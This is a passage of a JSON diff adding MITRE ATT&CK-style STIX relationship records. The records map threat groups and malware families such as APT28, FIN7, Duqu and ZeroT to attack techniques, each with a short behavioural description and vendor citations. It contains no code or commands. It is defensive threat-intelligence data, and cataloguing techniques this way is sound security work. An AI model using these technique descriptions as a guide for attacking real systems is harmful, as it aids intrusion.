"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used SMTP as a communication channel in various implants, initially using self-registered Google Mail accounts and later compromised email servers of its victims. Later implants such as [CHOPSTICK](https://attack.mitre.org/software/S0023) use a blend of HTTP and other legitimate channels, depending on module configuration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.038Z", + "id": "relationship--a1fe7df1-7c20-422e-8e86-042cd11b3501", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--2fab555f-7664-4623-b4e0-1675ae38190b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.037Z", + "id": "relationship--44858dc2-c869-42a0-8f67-3ddd9660b538", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.328Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[SLOWDRIFT](https://attack.mitre.org/software/S0218) downloads additional payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4c5ae895-9a08-40b6-a548-273a9f96ad5b", + "source_ref": "malware--414dc555-c79e-4b24-a2da-9b607f7eaf16", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[gsecdump](https://attack.mitre.org/software/S0008) can dump Windows password hashes and LSA secrets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--108a1655-faba-4016-a276-c224665cb5c4", + "source_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.", + "source_name": "TrueSec Gsecdump", + "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain information about the OS, processor, and BIOS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d6154157-fe69-4da3-8cc3-790eecf33f8c", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can bypass UAC and create an elevated COM object to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c9412068-a35c-4be3-9945-a1f69f2f77db", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[S-Type](https://attack.mitre.org/software/S0085) uses Base64 encoding for C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--813e4416-bee6-4192-a712-6b5f80a7fff3", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) C2 channel uses an 11-byte XOR algorithm to hide data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c08ef8e9-9e12-4bb2-9e6a-061934f33ea0", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "A Word document delivering [TYPEFRAME](https://attack.mitre.org/software/S0263) prompts the user to enable macro execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6d8d9425-86ec-42d3-bce5-2af53d4f1fad", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) encrypts C2 data with AES256 in ECB mode.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--36b2817e-5f07-4f70-927c-8e04b955d5a3", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.019Z", + "id": "relationship--2c0fe330-edcf-4519-a577-c3c9b086d60a", + "source_ref": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173", + "modified": "2019-07-25T11:34:25.507Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used net time to check the local time on a target system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6c053469-7bd4-4b55-90b2-289a09aa53fa", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.313Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--17aef45b-9a3c-4192-af31-4a21300a90e0", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "Adversaries can instruct [Duqu](https://attack.mitre.org/software/S0038) to spread laterally by copying itself to shares it has enumerated and for which it has obtained legitimate credentials (via keylogging or other means). The remote host is then infected by using the compromised credentials to schedule a task on remote machines that executes the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8d7cd505-3b0e-4e90-bf47-6552612958dc", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.242Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) has used TCP port 8080 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5bb39b9d-3651-4cdf-80b1-9d88b2062258", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) sent spearphishing emails with either malicious Microsoft Documents or RTF files attached.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cf9e7512-c510-4605-9035-f60335c351f4", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + }, + { + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "source_name": "Flashpoint FIN 7 March 2019", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4cf4df8f-9eb3-4136-a082-ea1b5d7b398f", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information on the system and local drives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8bbf259b-029b-48fa-859b-5dbbbcd98b53", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.726Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "During its initial execution, [BACKSPACE](https://attack.mitre.org/software/S0031) extracts operating system information from the infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--16cb7ede-b431-4711-bcb1-91bc925663e5", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[SOUNDBITE](https://attack.mitre.org/software/S0157) is capable of enumerating application windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b640dfee-9502-4ffb-92e4-f153f8726383", + "source_ref": "malware--9ca488bd-9587-48ef-b923-1743523e63b2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--63185895-4afb-4886-adcc-fbfac1a117d6", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.499Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[CallMe](https://attack.mitre.org/software/S0077) has the capability to create a reverse shell on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c3d3bb7d-65cc-4915-bc28-492d341e6dbd", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "Many [ZeroT](https://attack.mitre.org/software/S0230) samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1c395bb3-3b16-422f-bb00-9048b67b2337", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant takes screenshots by simulating the user pressing the \"Take Screenshot\" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--073215cd-bc1e-48e8-8f3a-7d24f18b32c6", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.192Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Mivast](https://attack.mitre.org/software/S0080) communicates over port 80 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8278fc85-24af-4f8a-9b82-3f233f18f5a6", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "source_name": "Symantec Backdoor.Mivast", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[RTM](https://attack.mitre.org/software/S0148) tries to add a Registry Run key under the name \"Windows Update\" to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--37dd9a3c-dd52-4541-be7c-b490d026305c", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "The \"ZJ\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) allows \"ZJ link\" infections with Internet access to relay traffic from \"ZJ listen\" to a command server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7cbedb9a-666f-47eb-b70e-905bcf80940a", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can obtain screenshots from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b4795040-fe94-429a-9853-f30c09ba05aa", + "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "description": "[Dok](https://attack.mitre.org/software/S0281) prompts the user for credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a7744970-817e-43c6-89e4-86907ac20361", + "source_ref": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", + "modified": 